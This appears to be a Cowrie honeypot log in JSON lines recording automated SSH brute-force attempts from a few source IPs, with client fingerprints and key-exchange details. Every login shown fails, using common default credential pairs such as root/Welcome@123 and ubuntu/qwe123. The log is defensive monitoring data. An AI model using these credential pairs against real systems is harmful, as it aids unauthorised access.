{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:57.497189Z","src_ip":"45.156.87.253","session":"ccd2b353ec6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:57.579693Z","src_ip":"45.156.87.253","session":"ccd2b353ec6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:57.820687Z","src_ip":"45.156.87.253","session":"ccd2b353ec6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:58.903625Z","src_ip":"45.156.87.253","session":"ccd2b353ec6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42810,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2232feb60a8","protocol":"ssh","message":"New connection: 45.156.87.253:42810 (10.17.0.5:22) [session: a2232feb60a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:00.929545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:00.934741Z","src_ip":"45.156.87.253","session":"a2232feb60a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:01.017719Z","src_ip":"45.156.87.253","session":"a2232feb60a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:01.265505Z","src_ip":"45.156.87.253","session":"a2232feb60a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:02.349937Z","src_ip":"45.156.87.253","session":"a2232feb60a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42834,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a249115515","protocol":"ssh","message":"New connection: 45.156.87.253:42834 (10.17.0.5:22) [session: 41a249115515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:04.260466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:04.265527Z","src_ip":"45.156.87.253","session":"41a249115515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:04.352566Z","src_ip":"45.156.87.253","session":"41a249115515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:04.601624Z","src_ip":"45.156.87.253","session":"41a249115515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:05.686768Z","src_ip":"45.156.87.253","session":"41a249115515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42856,"dst_ip":"10.17.0.5","dst_port":22,"session":"57dbdb01c769","protocol":"ssh","message":"New connection: 45.156.87.253:42856 (10.17.0.5:22) [session: 57dbdb01c769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:07.669599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:07.717242Z","src_ip":"45.156.87.253","session":"57dbdb01c769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:07.753065Z","src_ip":"45.156.87.253","session":"57dbdb01c769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:08.075615Z","src_ip":"45.156.87.253","session":"57dbdb01c769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:09.161497Z","src_ip":"45.156.87.253","session":"57dbdb01c769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.145172119140625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:10.058903Z","src_ip":"50.62.181.92","session":"7e0b48657088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59210,"dst_ip":"10.17.0.5","dst_port":22,"session":"a555606c843e","protocol":"ssh","message":"New connection: 45.156.87.253:59210 (10.17.0.5:22) [session: a555606c843e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:11.059775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:11.063509Z","src_ip":"45.156.87.253","session":"a555606c843e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:11.146122Z","src_ip":"45.156.87.253","session":"a555606c843e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:11.389783Z","src_ip":"45.156.87.253","session":"a555606c843e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:12.473277Z","src_ip":"45.156.87.253","session":"a555606c843e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59218,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d0856b5719a","protocol":"ssh","message":"New connection: 45.156.87.253:59218 (10.17.0.5:22) [session: 3d0856b5719a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:14.398434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:14.526689Z","src_ip":"45.156.87.253","session":"3d0856b5719a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:14.530288Z","src_ip":"45.156.87.253","session":"3d0856b5719a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:14.886124Z","src_ip":"45.156.87.253","session":"3d0856b5719a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:15.969171Z","src_ip":"45.156.87.253","session":"3d0856b5719a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":54160,"dst_ip":"10.17.0.5","dst_port":22,"session":"fec43b8bf054","protocol":"ssh","message":"New connection: 195.178.110.137:54160 (10.17.0.5:22) [session: fec43b8bf054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:17.227173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:17.231131Z","src_ip":"195.178.110.137","session":"fec43b8bf054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:17.333793Z","src_ip":"195.178.110.137","session":"fec43b8bf054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:17.605793Z","src_ip":"195.178.110.137","session":"fec43b8bf054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59230,"dst_ip":"10.17.0.5","dst_port":22,"session":"574f801425cb","protocol":"ssh","message":"New connection: 45.156.87.253:59230 (10.17.0.5:22) [session: 574f801425cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:17.925642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:17.929149Z","src_ip":"45.156.87.253","session":"574f801425cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:18.009374Z","src_ip":"45.156.87.253","session":"574f801425cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:18.253421Z","src_ip":"45.156.87.253","session":"574f801425cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:18.690182Z","src_ip":"195.178.110.137","session":"fec43b8bf054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:19.337020Z","src_ip":"45.156.87.253","session":"574f801425cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c973e8a8e14","protocol":"ssh","message":"New connection: 45.156.87.253:54744 (10.17.0.5:22) [session: 6c973e8a8e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:21.243316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:21.249916Z","src_ip":"45.156.87.253","session":"6c973e8a8e14","protocol":"ssh"}
